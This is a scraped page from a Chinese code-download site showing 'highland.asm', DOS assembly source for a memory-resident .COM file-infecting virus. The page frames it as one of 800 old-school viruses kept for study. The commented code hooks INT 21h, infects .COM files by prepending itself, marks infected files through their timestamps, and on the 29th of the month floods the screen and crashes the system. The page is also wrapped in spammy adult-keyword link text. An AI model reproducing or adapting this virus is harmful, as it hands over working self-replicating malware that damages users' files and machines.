亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? highland.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
     push ax                      ;store all registers subject to change
     push bx
     push cx
     push es
     push si
     push di
     push dx
     push ds
     push cs                      ;store the code segment so it can be used
     push cs                      ;to set the ds and es registers
     pop ds                       ;set ds to same as cs
     pop es                       ;set es to same as cs
     mov dx,080h                  ;set dx to offset 080h
     mov ah,01ah                  ;set ah to create DTA
     int 21h                      ;create DTA at 080h (normal DTA area)
     pop ds                       ;set ds to original ds
     pop dx                       ;set dx to original dx (ds:dx is used to 
                                  ;point to the path and filename of the
                                  ;program to be executed)
     push dx                      ;store these values back
     push ds
     xor cx,cx                    ;zero cx
     mov ah,04eh                  ;set ah to search for filename match
     int 21h                      ;search for filename (this is primarily
                                  ;done to setup data in the DTA so that it
                                  ;can be checked easier than making a
                                  ;number of individual calls)
     push es                      ;store es (same as cs)
     pop ds                       ;set ds to same as es and cs
     cmp [byte 087h],'D'          ;check for 'D' as seventh letter in file
     jne j5
     jmp endvirus                 ;if 'D' is 7th letter, dont infect
j5: 
     mov si,offset data3+0100h    ;set source of bytes to compare
     mov di,089h                  ;set destination of bytes to compare
     mov cx,3                     ;number of bytes to compare
     cld                          ;compare forward
     repe cmpsb                   ;compare bytes (check to see if file's
                                  ;extension is COM)
     je j1
     jmp endvirus                 ;not a COM file.  Dont infect
j1:
     mov bx,[word 009ah]          ;set bx to length of file
     cmp bx,1024                  ;is length > 1024?
     jae j2                       ;yes, continue with checks
     jmp endvirus                 ;no, dont infect
j2:
     cmp bx,62000                 ;is length < 62000?
     jbe j3                       ;yes, continue with checks
     jmp endvirus                 ;no, dont infect
j3:
     mov ax,[word 096h]           ;set ax to file's time stamp
     and ax,0000000000011111b     ;clear everything but seconds
     cmp ax,0000000000010100b     ;is seconds = 40?
     jne j4                       ;yes, continue with infection
     mov ah,02ah                  ;no, set ah to get the date
     int 21h                      ;get current system date
     mov cx,21                    ;set cx to 21
     cmp dl,29                    ;is the date the 29th?
     je irritate                  ;yes, continue with irritate
     jmp endvirus                 ;no, let program execute normally


irritate:
     mov dx,offset data5+0100h    ;point dx to irritating message
     mov ah,09h                   ;set ah to write to screen
     int 21h                      ;write message 21 times
     loop irritate
     iret                         ;xfer program control to whatever's on
                                  ;the stack (this almost guarantee's a
                                  ;lockup and a reboot)


j4: 
     mov ax,[word 096h]           ;set ax equal to the file's time stamp
     and ax,1111111111100000b     ;zero the seconds portion
     or ax,0000000000010100b      ;set the seconds = 40
     add bx,0100h                 ;set bx = loc for restore routine (end
                                  ;of file once its in memory)      
     mov [word data1+0100h],bx    ;store this value in the virus
     mov bx,ax                    ;set bx = to adjusted time stamp
     pop ds                       ;get the original ds
     push ds                      ;store this value back
     mov ax,04300h                ;set ax to get the file's attributes
                                  ;ds:dx already points to path/filename
     int 21h                      ;get the files attributes
     push cx                      ;push the attributes
     push bx                      ;push the adjusted time stamp
     xor cx,cx                    ;zero cx(attributes for normal, read/write)
     mov ax,04301h                ;set ax to set file attributes
     int 21h                      ;set files attributes to normal/read/write
     mov ax,03d02h                ;set ax to open file
     int 21h                      ;open file for read/write access
     mov bx,ax                    ;mov file handle to bx
     push cs                      ;push current code segment
     pop ds                       ;and pop into ds (ds=cs)
     mov cx,endcode-begin         ;set cx equal to length of virus
     mov dx,offset endcode+0100h  ;point dx to end of virus in memory
     mov ah,03fh                  ;set ah to read from file
     int 21h                      ;read bytes from beginning of file and
                                  ;store at end of virus.  Read as many bytes
                                  ;as virus is long.
     xor cx,cx                    ;zero cx
     xor dx,dx                    ;zero dx
     mov ax,04200h                ;set ax to move file pointer from begin
     int 21h                      ;mov file pointer to start of file
     mov cx,endcode-begin         ;set cx = length of virus
     mov dx,0100h                 ;point dx to start of virus
     mov ah,040h                  ;set ah to write to file
     int 21h                      ;write virus to start of file
     xor cx,cx                    ;zero cx
     xor dx,dx                    ;zero dx
     mov ax,04202h                ;set ax to move file pointer from end
     int 21h                      ;mov file pointer to end of file
     mov cx,checkinfect-restcode  ;set cx to length of restore routine
     mov dx,offset restcode+0100h ;point dx to start of restore routine
     mov ah,040h                  ;set ah to write to file
     int 21h                      ;write restore routine to end of file
     mov cx,endcode-begin         ;set cx to length of virus (length of code
                                  ;read from beginning of file)
     mov dx,offset endcode+0100h  ;point dx to data read from file
     mov ah,040h                  ;set ah to write to file
     int 21h                      ;write data read from start of file to end
                                  ;of file following restore routine
     pop cx                       ;pop the adjusted time stamp
     mov dx,[word 098h]           ;mov the file date stamp into dx
     mov ax,05701h                ;set ax to write time/date stamp
     int 21h                      ;write time/date stamp to file
     mov ah,03eh                  ;set ah to close file
     int 21h                      ;close the file
     pop cx                       ;pop the original attributes
     pop ds                       ;pop the original ds
     pop dx                       ;pop the original dx
     push dx                      ;push these values back
     push ds
     mov ax,04301h                ;set ax to set file attributes (ds:dx now
                                  ;points to original path/filename)
     int 21h                      ;set the original attributes back to file


endvirus:                         ;virus execution complete. restore original
                                  ;values for INT 21 function
     pop ds
     pop dx
     pop di
     pop si
     pop es
     pop cx
     pop bx
     pop ax


cont:                             ;virus complete.  restore original flags
     popf
     pushf


int21trap:                        ;this calls the original INT 21 routine
     db 09ah                      ;opcode for a far call
     nop                          ;blank area.  the original INT 21 vector
     nop                          ;is copied to this area
     nop
     nop
     push ax                      ;after the original INT 21 routine has
                                  ;completed execution, control is returned
                                  ;to this point 
     push bx
     pushf                        ;push the flags returned from the INT 21
                                  ;routine.  We have to get them in the
                                  ;proper location in the stack when we 
                                  ;return to the calling program
     pop ax                       ;pop the flags
     mov bx,sp                    ;set bx equal to the stack pointer
     mov [word ss:bx+8],ax        ;copy the flags to the proper location in
                                  ;the stack
     pop bx                       ;restore bx
     pop ax                       ;restore ax
     iret                         ;return to calling program


signature:
     db 'dex'


endcode:                          ;this file has been written as if it were
                                  ;a natural infection.  At this point the
                                  ;virus is ended and we are at the restore
                                  ;routine.  Following this is the host code
                                  ;which will be moved back to 0100h.  This
                                  ;file could never actually be a natural 
                                  ;infection however due to its small size
     rep movsb                    ;start of restore routine.  move host back
     push cs                      ;set up to xfer to cs:0100h
     mov ax,0100h
     push ax
     mov ax,cx                    ;zero ax
     ret                          ;host is restored.  xfer to start of host
hoststart:                        ;This is the host program.  It consists
                                  ;merely of a simple message being displayed
     jmp skipdata                 ;jump over message
hostmessage:
     db 'The virus is now resident.$'
skipdata:                
     mov ah,09h                   ;set ah to write to screen
     mov dx,offset hostmessage+0100h
                                  ;point dx to message to display
     int 21h                      ;display message
     mov ah,04ch                  ;set ah to terminate program
     int 21h                      ;terminate program, return to DOS
     END

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产网站一区二区三区| 亚洲激情中文1区| 国产精品欧美久久久久无广告| 中文字幕一区二区三区乱码在线 | 91香蕉视频mp4| 欧美日韩一区高清| 中文字幕一区在线观看视频| 美国十次综合导航| 欧美性猛交xxxx乱大交退制版| 国产欧美一区二区三区鸳鸯浴 | 国产福利电影一区二区三区| 欧美日韩午夜影院| 亚洲男同性视频| 国产69精品久久99不卡| 日韩欧美自拍偷拍| 天天操天天综合网| 在线免费观看日韩欧美| 国产精品视频线看| 国产成人免费视频| 久久久久久毛片| 久久精品99国产精品| 欧美老女人在线| 亚洲国产精品一区二区www在线| a在线播放不卡| 欧美国产日韩在线观看| 国产精品一区二区不卡| 精品久久久久久久久久久久包黑料 | 国产欧美日韩三级| 国产精品夜夜爽| 国产亚洲一区二区三区四区| 精品一区二区三区免费播放| 日韩精品专区在线| 久久成人18免费观看| 日韩欧美资源站| 极品美女销魂一区二区三区| 日韩视频永久免费| 久久av资源网| 久久精品人人做人人爽97| 国产一区二区调教| 中文av字幕一区| 99久久精品情趣| 日韩美女久久久| 在线观看一区二区精品视频| 亚洲精品视频一区| 欧美性大战久久久久久久| 亚洲成人精品一区二区| 欧美精品少妇一区二区三区| 日本女人一区二区三区| 日韩欧美美女一区二区三区| 韩国三级中文字幕hd久久精品| 久久久久综合网| 99这里只有精品| 亚洲午夜久久久久久久久电影院| 欧美久久久一区| 麻豆精品一区二区| 国产精品理论在线观看| 欧美在线视频日韩| 精品一区二区三区在线视频| 久久综合色婷婷| av动漫一区二区| 亚洲国产精品尤物yw在线观看| 欧美精品久久99久久在免费线| 美女一区二区三区在线观看| 国产欧美一二三区| 91国偷自产一区二区三区观看 | 欧美久久高跟鞋激| 国模娜娜一区二区三区| 蜜桃在线一区二区三区| 国产欧美日韩一区二区三区在线观看| 色88888久久久久久影院野外 | 国产麻豆视频一区二区| 中文字幕综合网| 欧美岛国在线观看| 色婷婷一区二区三区四区| 蜜臀av亚洲一区中文字幕| 亚洲国产电影在线观看| 欧美欧美欧美欧美| 99re成人精品视频| 美腿丝袜一区二区三区| 综合av第一页| 精品精品国产高清一毛片一天堂| 99re亚洲国产精品| 国内成人精品2018免费看| 一区二区三区在线视频观看 | 国内精品免费在线观看| 亚洲午夜久久久久| 136国产福利精品导航| 精品久久一区二区| 欧美日韩成人激情| 色综合久久中文字幕| 国产精品一区不卡| 久久国产精品无码网站| 午夜精品免费在线观看| 亚洲欧美在线观看| 国产视频亚洲色图| 日韩精品专区在线影院观看| 欧美精品日韩精品| 欧美午夜免费电影| 一本大道久久a久久综合| 国产不卡视频一区二区三区| 久久成人麻豆午夜电影| 蜜臀av亚洲一区中文字幕| 亚洲高清中文字幕| 亚洲国产va精品久久久不卡综合| 综合久久一区二区三区| 国产精品国产三级国产aⅴ无密码| 日韩免费成人网| 日韩欧美一区二区免费| 欧美一区二区三区视频免费| 欧美日韩国产美女| 欧美性猛交xxxxxxxx| 欧美色偷偷大香| 欧美日高清视频| 在线精品视频一区二区| 在线观看视频欧美| 日本韩国精品一区二区在线观看| 不卡电影一区二区三区| 成人午夜精品在线| 成人午夜视频福利| av中文字幕一区| 91在线视频官网| 欧美性猛交一区二区三区精品| 欧美影院一区二区三区| 色88888久久久久久影院野外| 91福利国产精品| 欧美性猛交xxxx黑人交| 欧美日韩一区二区不卡| 91精品国产aⅴ一区二区| 日韩丝袜美女视频| 久久五月婷婷丁香社区| 中文字幕第一区| 亚洲日本护士毛茸茸| 亚洲国产裸拍裸体视频在线观看乱了| 亚洲在线观看免费| 麻豆成人免费电影| 成人美女视频在线观看18| 色综合中文字幕国产 | 蜜臀久久久99精品久久久久久| 精品一区二区三区在线播放视频 | av动漫一区二区| 欧美无砖砖区免费| 欧美va亚洲va在线观看蝴蝶网| 久久精品人人爽人人爽| 亚洲男帅同性gay1069| 日韩黄色一级片| 国产精品1024| 欧美中文一区二区三区| 精品久久久久久久久久久久久久久久久 | 亚洲精品你懂的| 日韩精品高清不卡| 国产精品中文欧美| 日本高清无吗v一区| 欧美videofree性高清杂交| 国产精品国产三级国产| 五月天亚洲婷婷| 福利电影一区二区| 欧美日韩国产免费| 国产精品美女视频| 日本不卡一二三区黄网| 国产在线播放一区二区三区| 色屁屁一区二区| 2023国产精品自拍| 一个色综合网站| 国产精品影音先锋| 欧美区一区二区三区| 国产欧美一区二区三区在线老狼| 日韩精品一级中文字幕精品视频免费观看 | 在线免费精品视频| 久久夜色精品一区| 亚洲国产日产av| 丁香激情综合国产| 精品国产亚洲一区二区三区在线观看| 中文字幕一区二区三区四区不卡| 麻豆精品在线观看| 欧美撒尿777hd撒尿| 中文字幕精品综合| 另类专区欧美蜜桃臀第一页| 91黄色免费网站| 中文字幕在线视频一区| 紧缚奴在线一区二区三区| 欧美色区777第一页| 亚洲欧美在线观看| 成人av在线观| 日韩高清在线不卡| 色视频欧美一区二区三区| 国产欧美综合在线观看第十页| 麻豆精品一二三| 日韩一区二区三区视频| 日韩精品乱码免费| 欧美私模裸体表演在线观看| 中文字幕一区av| 成人免费看的视频| 日本一区二区三区四区| 国产最新精品免费| 日韩免费看的电影| 精品中文字幕一区二区小辣椒| 欧美精品一卡两卡| 视频一区二区欧美| 欧美疯狂性受xxxxx喷水图片| 亚洲精品菠萝久久久久久久|